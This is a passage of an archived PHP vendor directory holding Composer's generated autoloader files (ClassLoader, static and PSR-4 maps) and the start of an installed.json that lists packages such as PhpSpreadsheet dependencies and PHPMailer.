(self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. */ public static function getInstallPath($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @return array * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} */ public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } /** * Returns the raw installed.php data for custom implementations * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} */ public static function getRawData() { @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = include __DIR__ . '/installed.php'; } else { self::$installed = array(); } } return self::$installed; } /** * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ public static function getAllRawData() { return self::getInstalled(); } /** * Lets you reload the static array from another file * * This is only useful for complex integrations in which a project needs to use * this class but then also needs to execute another project's autoloader in process, * and wants to ensure both projects have access to their version of installed.php. * * A typical case would be PHPUnit, where it would need to make sure it reads all * the data it needs from this class, then call reload() with * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure * the project in which it runs can then also use this class safely, without * interference between PHPUnit's dependencies and the project's dependencies. * * @param array[] $data A vendor/composer/installed.php data set * @return void * * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data */ public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } /** * @return array[] * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */ $required = require $vendorDir.'/composer/installed.php'; $installed[] = self::$installedByVendor[$vendorDir] = $required; if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { self::$installed = $installed[count($installed) - 1]; } } } } if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */ $required = require __DIR__ . '/installed.php'; self::$installed = $required; } else { self::$installed = array(); } } if (self::$installed !== array()) { $installed[] = self::$installed; } return $installed; } } composer/autoload_files.php000064400000000651151676714400012113 0ustar00<?php // autoload_files.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname($vendorDir); return array( '320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir . '/symfony/polyfill-ctype/bootstrap.php', '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php', 'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php', ); composer/autoload_real.php000064400000003126151676714400011734 0ustar00<?php // autoload_real.php @generated by Composer class ComposerAutoloaderInitd4fb758ce07a1e1b7b60b809e775e8c0 { private static $loader; public static function loadClassLoader($class) { if ('Composer\Autoload\ClassLoader' === $class) { require __DIR__ . '/ClassLoader.php'; } } /** * @return \Composer\Autoload\ClassLoader */ public static function getLoader() { if (null !== self::$loader) { return self::$loader; } spl_autoload_register(array('ComposerAutoloaderInitd4fb758ce07a1e1b7b60b809e775e8c0', 'loadClassLoader'), true, true); self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__)); spl_autoload_unregister(array('ComposerAutoloaderInitd4fb758ce07a1e1b7b60b809e775e8c0', 'loadClassLoader')); require __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInitd4fb758ce07a1e1b7b60b809e775e8c0::getInitializer($loader)); $loader->register(true); $filesToLoad = \Composer\Autoload\ComposerStaticInitd4fb758ce07a1e1b7b60b809e775e8c0::$files; $requireFile = \Closure::bind(static function ($fileIdentifier, $file) { if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; require $file; } }, null, null); foreach ($filesToLoad as $fileIdentifier => $file) { $requireFile($fileIdentifier, $file); } return $loader; } } composer/autoload_static.php000064400000010544151676714400012302 0ustar00<?php // autoload_static.php @generated by Composer namespace Composer\Autoload; class ComposerStaticInitd4fb758ce07a1e1b7b60b809e775e8c0 { public static $files = array ( '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php', '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php', 'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php', ); public static $prefixLengthsPsr4 = array ( 'Z' => array ( 'ZipStream\\' => 10, ), 'S' => array ( 'Symfony\\Polyfill\\Php80\\' => 23, 'Symfony\\Polyfill\\Mbstring\\' => 26, 'Symfony\\Polyfill\\Ctype\\' => 23, ), 'P' => array ( 'Psr\\SimpleCache\\' => 16, 'Psr\\Http\\Message\\' => 17, 'Psr\\Http\\Client\\' => 16, 'PhpOption\\' => 10, 'PhpOffice\\PhpSpreadsheet\\' => 25, 'PHPMailer\\PHPMailer\\' => 20, ), 'M' => array ( 'Matrix\\' => 7, ), 'G' => array ( 'GrahamCampbell\\ResultType\\' => 26, ), 'D' => array ( 'Dotenv\\' => 7, ), 'C' => array ( 'Complex\\' => 8, ), ); public static $prefixDirsPsr4 = array ( 'ZipStream\\' => array ( 0 => __DIR__ . '/..' . '/maennchen/zipstream-php/src', ), 'Symfony\\Polyfill\\Php80\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-php80', ), 'Symfony\\Polyfill\\Mbstring\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-mbstring', ), 'Symfony\\Polyfill\\Ctype\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-ctype', ), 'Psr\\SimpleCache\\' => array ( 0 => __DIR__ . '/..' . '/psr/simple-cache/src', ), 'Psr\\Http\\Message\\' => array ( 0 => __DIR__ . '/..' . '/psr/http-factory/src', 1 => __DIR__ . '/..' . '/psr/http-message/src', ), 'Psr\\Http\\Client\\' => array ( 0 => __DIR__ . '/..' . '/psr/http-client/src', ), 'PhpOption\\' => array ( 0 => __DIR__ . '/..' . '/phpoption/phpoption/src/PhpOption', ), 'PhpOffice\\PhpSpreadsheet\\' => array ( 0 => __DIR__ . '/..' . '/phpoffice/phpspreadsheet/src/PhpSpreadsheet', ), 'PHPMailer\\PHPMailer\\' => array ( 0 => __DIR__ . '/..' . '/phpmailer/phpmailer/src', ), 'Matrix\\' => array ( 0 => __DIR__ . '/..' . '/markbaker/matrix/classes/src', ), 'GrahamCampbell\\ResultType\\' => array ( 0 => __DIR__ . '/..' . '/graham-campbell/result-type/src', ), 'Dotenv\\' => array ( 0 => __DIR__ . '/..' . '/vlucas/phpdotenv/src', ), 'Complex\\' => array ( 0 => __DIR__ . '/..' . '/markbaker/complex/classes/src', ), ); public static $classMap = array ( 'Attribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'PhpToken' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php', 'Stringable' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', 'UnhandledMatchError' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php', 'ValueError' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/ValueError.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInitd4fb758ce07a1e1b7b60b809e775e8c0::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInitd4fb758ce07a1e1b7b60b809e775e8c0::$prefixDirsPsr4; $loader->classMap = ComposerStaticInitd4fb758ce07a1e1b7b60b809e775e8c0::$classMap; }, null, ClassLoader::class); } } composer/ClassLoader.php000064400000037772151676714400011333 0ustar00<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier <fabien@symfony.com> * @author Jordi Boggiano <j.boggiano@seld.be> * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { /** @var \Closure(string):void */ private static $includeFile; /** @var string|null */ private $vendorDir; // PSR-4 /** * @var array<string, array<string, int>> */ private $prefixLengthsPsr4 = array(); /** * @var array<string, list<string>> */ private $prefixDirsPsr4 = array(); /** * @var list<string> */ private $fallbackDirsPsr4 = array(); // PSR-0 /** * List of PSR-0 prefixes * * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2'))) * * @var array<string, array<string, list<string>>> */ private $prefixesPsr0 = array(); /** * @var list<string> */ private $fallbackDirsPsr0 = array(); /** @var bool */ private $useIncludePath = false; /** * @var array<string, string> */ private $classMap = array(); /** @var bool */ private $classMapAuthoritative = false; /** * @var array<string, bool> */ private $missingClasses = array(); /** @var string|null */ private $apcuPrefix; /** * @var array<string, self> */ private static $registeredLoaders = array(); /** * @param string|null $vendorDir */ public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; self::initializeIncludeClosure(); } /** * @return array<string, list<string>> */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } /** * @return array<string, list<string>> */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } /** * @return list<string> */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } /** * @return list<string> */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } /** * @return array<string, string> Array of classname => path */ public function getClassMap() { return $this->classMap; } /** * @param array<string, string> $classMap Class to filename map * * @return void */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param list<string>|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories * * @return void */ public function add($prefix, $paths, $prepend = false) { $paths = (array) $paths; if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param list<string>|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException * * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { $paths = (array) $paths; if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param list<string>|string $paths The PSR-0 base directories * * @return void */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param list<string>|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException * * @return void */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath * * @return void */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative * * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix * * @return void */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return true|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { $includeFile = self::$includeFile; $includeFile($file); return true; } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders keyed by their corresponding vendor directories. * * @return array<string, self> */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } /** * @param string $class * @param string $ext * @return string|false */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } /** * @return void */ private static function initializeIncludeClosure() { if (self::$includeFile !== null) { return; } /** * Scope isolated include. * * Prevents access to $this/self from included files. * * @param string $file * @return void */ self::$includeFile = \Closure::bind(static function($file) { include $file; }, null, null); } } composer/autoload_classmap.php000064400000001261151676714400012612 0ustar00<?php // autoload_classmap.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname($vendorDir); return array( 'Attribute' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', 'PhpToken' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php', 'Stringable' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', 'UnhandledMatchError' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php', 'ValueError' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/ValueError.php', ); composer/autoload_psr4.php000064400000002405151676714400011700 0ustar00<?php // autoload_psr4.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname($vendorDir); return array( 'ZipStream\\' => array($vendorDir . '/maennchen/zipstream-php/src'), 'Symfony\\Polyfill\\Php80\\' => array($vendorDir . '/symfony/polyfill-php80'), 'Symfony\\Polyfill\\Mbstring\\' => array($vendorDir . '/symfony/polyfill-mbstring'), 'Symfony\\Polyfill\\Ctype\\' => array($vendorDir . '/symfony/polyfill-ctype'), 'Psr\\SimpleCache\\' => array($vendorDir . '/psr/simple-cache/src'), 'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'), 'Psr\\Http\\Client\\' => array($vendorDir . '/psr/http-client/src'), 'PhpOption\\' => array($vendorDir . '/phpoption/phpoption/src/PhpOption'), 'PhpOffice\\PhpSpreadsheet\\' => array($vendorDir . '/phpoffice/phpspreadsheet/src/PhpSpreadsheet'), 'PHPMailer\\PHPMailer\\' => array($vendorDir . '/phpmailer/phpmailer/src'), 'Matrix\\' => array($vendorDir . '/markbaker/matrix/classes/src'), 'GrahamCampbell\\ResultType\\' => array($vendorDir . '/graham-campbell/result-type/src'), 'Dotenv\\' => array($vendorDir . '/vlucas/phpdotenv/src'), 'Complex\\' => array($vendorDir . '/markbaker/complex/classes/src'), ); composer/installed.json000064400000116165151676714400011272 0ustar00{ "packages": [ { "name": "graham-campbell/result-type", "version": "v1.1.2", "version_normalized": "1.1.2.0", "source": { "type": "git", "url": "https://github.com/GrahamCampbell/Result-Type.git", "reference": "fbd48bce38f73f8a4ec8583362e732e4095e5862" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/GrahamCampbell/Result-Type/zipball/fbd48bce38f73f8a4ec8583362e732e4095e5862", "reference": "fbd48bce38f73f8a4ec8583362e732e4095e5862", "shasum": "" }, "require": { "php": "^7.2.5 || ^8.0", "phpoption/phpoption": "^1.9.2" }, "require-dev": { "phpunit/phpunit": "^8.5.34 || ^9.6.13 || ^10.4.2" }, "time": "2023-11-12T22:16:48+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "GrahamCampbell\\ResultType\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Graham Campbell", "email": "hello@gjcampbell.co.uk", "homepage": "https://github.com/GrahamCampbell" } ], "description": "An Implementation Of The Result Type", "keywords": [ "Graham Campbell", "GrahamCampbell", "Result Type", "Result-Type", "result" ], "support": { "issues": "https://github.com/GrahamCampbell/Result-Type/issues", "source": "https://github.com/GrahamCampbell/Result-Type/tree/v1.1.2" }, "funding": [ { "url": "https://github.com/GrahamCampbell", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/graham-campbell/result-type", "type": "tidelift" } ], "install-path": "../graham-campbell/result-type" }, { "name": "maennchen/zipstream-php", "version": "3.1.0", "version_normalized": "3.1.0.0", "source": { "type": "git", "url": "https://github.com/maennchen/ZipStream-PHP.git", "reference": "b8174494eda667f7d13876b4a7bfef0f62a7c0d1" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/maennchen/ZipStream-PHP/zipball/b8174494eda667f7d13876b4a7bfef0f62a7c0d1", "reference": "b8174494eda667f7d13876b4a7bfef0f62a7c0d1", "shasum": "" }, "require": { "ext-mbstring": "*", "ext-zlib": "*", "php-64bit": "^8.1" }, "require-dev": { "ext-zip": "*", "friendsofphp/php-cs-fixer": "^3.16", "guzzlehttp/guzzle": "^7.5", "mikey179/vfsstream": "^1.6", "php-coveralls/php-coveralls": "^2.5", "phpunit/phpunit": "^10.0", "vimeo/psalm": "^5.0" }, "suggest": { "guzzlehttp/psr7": "^2.4", "psr/http-message": "^2.0" }, "time": "2023-06-21T14:59:35+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "ZipStream\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Paul Duncan", "email": "pabs@pablotron.org" }, { "name": "Jonatan Männchen", "email": "jonatan@maennchen.ch" }, { "name": "Jesse Donat", "email": "donatj@gmail.com" }, { "name": "András Kolesár", "email": "kolesar@kolesar.hu" } ], "description": "ZipStream is a library for dynamically streaming dynamic zip files from PHP without writing to the disk at all on the server.", "keywords": [ "stream", "zip" ], "support": { "issues": "https://github.com/maennchen/ZipStream-PHP/issues", "source": "https://github.com/maennchen/ZipStream-PHP/tree/3.1.0" }, "funding": [ { "url": "https://github.com/maennchen", "type": "github" }, { "url": "https://opencollective.com/zipstream", "type": "open_collective" } ], "install-path": "../maennchen/zipstream-php" }, { "name": "markbaker/complex", "version": "3.0.2", "version_normalized": "3.0.2.0", "source": { "type": "git", "url": "https://github.com/MarkBaker/PHPComplex.git", "reference": "95c56caa1cf5c766ad6d65b6344b807c1e8405b9" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/MarkBaker/PHPComplex/zipball/95c56caa1cf5c766ad6d65b6344b807c1e8405b9", "reference": "95c56caa1cf5c766ad6d65b6344b807c1e8405b9", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "dev-master", "phpcompatibility/php-compatibility": "^9.3", "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", "squizlabs/php_codesniffer": "^3.7" }, "time": "2022-12-06T16:21:08+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "Complex\\": "classes/src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Mark Baker", "email": "mark@lange.demon.co.uk" } ], "description": "PHP Class for working with complex numbers", "homepage": "https://github.com/MarkBaker/PHPComplex", "keywords": [ "complex", "mathematics" ], "support": { "issues": "https://github.com/MarkBaker/PHPComplex/issues", "source": "https://github.com/MarkBaker/PHPComplex/tree/3.0.2" }, "install-path": "../markbaker/complex" }, { "name": "markbaker/matrix", "version": "3.0.1", "version_normalized": "3.0.1.0", "source": { "type": "git", "url": "https://github.com/MarkBaker/PHPMatrix.git", "reference": "728434227fe21be27ff6d86621a1b13107a2562c" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/MarkBaker/PHPMatrix/zipball/728434227fe21be27ff6d86621a1b13107a2562c", "reference": "728434227fe21be27ff6d86621a1b13107a2562c", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "dev-master", "phpcompatibility/php-compatibility": "^9.3", "phpdocumentor/phpdocumentor": "2.*", "phploc/phploc": "^4.0", "phpmd/phpmd": "2.*", "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", "sebastian/phpcpd": "^4.0", "squizlabs/php_codesniffer": "^3.7" }, "time": "2022-12-02T22:17:43+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "Matrix\\": "classes/src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Mark Baker", "email": "mark@demon-angel.eu" } ], "description": "PHP Class for working with matrices", "homepage": "https://github.com/MarkBaker/PHPMatrix", "keywords": [ "mathematics", "matrix", "vector" ], "support": { "issues": "https://github.com/MarkBaker/PHPMatrix/issues", "source": "https://github.com/MarkBaker/PHPMatrix/tree/3.0.1" }, "install-path": "../markbaker/matrix" }, { "name": "phpmailer/phpmailer", "version": "v6.9.1", "version_normalized": "6.9.1.0", "source": { "type": "git", "url": "https://github.com/PHPMailer/PHPMailer.git", "reference": "039de174cd9c17a8389754d3b877a2ed22743e18" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/PHPMailer/PHPMailer/zipball/039de174cd9c17a8389754d3b877a2ed22743e18", "reference": "039de174cd9c17a8389754d3b877a2ed22743e18", "shasum": "" }, "require": { "ext-ctype": "*", "ext-filter": "*", "ext-hash": "*", "php": ">=5.5.0" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "^1.0", "doctrine/annotations": "^1.2.6 || ^1.13.3", "php-parallel-lint/php-console-highlighter": "^1.0.0", "php-parallel-lint/php-parallel-lint": "^1.3.2", "phpcompatibility/php-compatibility": "^9.3.5", "roave/security-advisories": "dev-latest", "squizlabs/php_codesniffer": "^3.7.2", "yoast/phpunit-polyfills": "^1.0.4" }, "suggest": { "decomplexity/SendOauth2": "Adapter for using 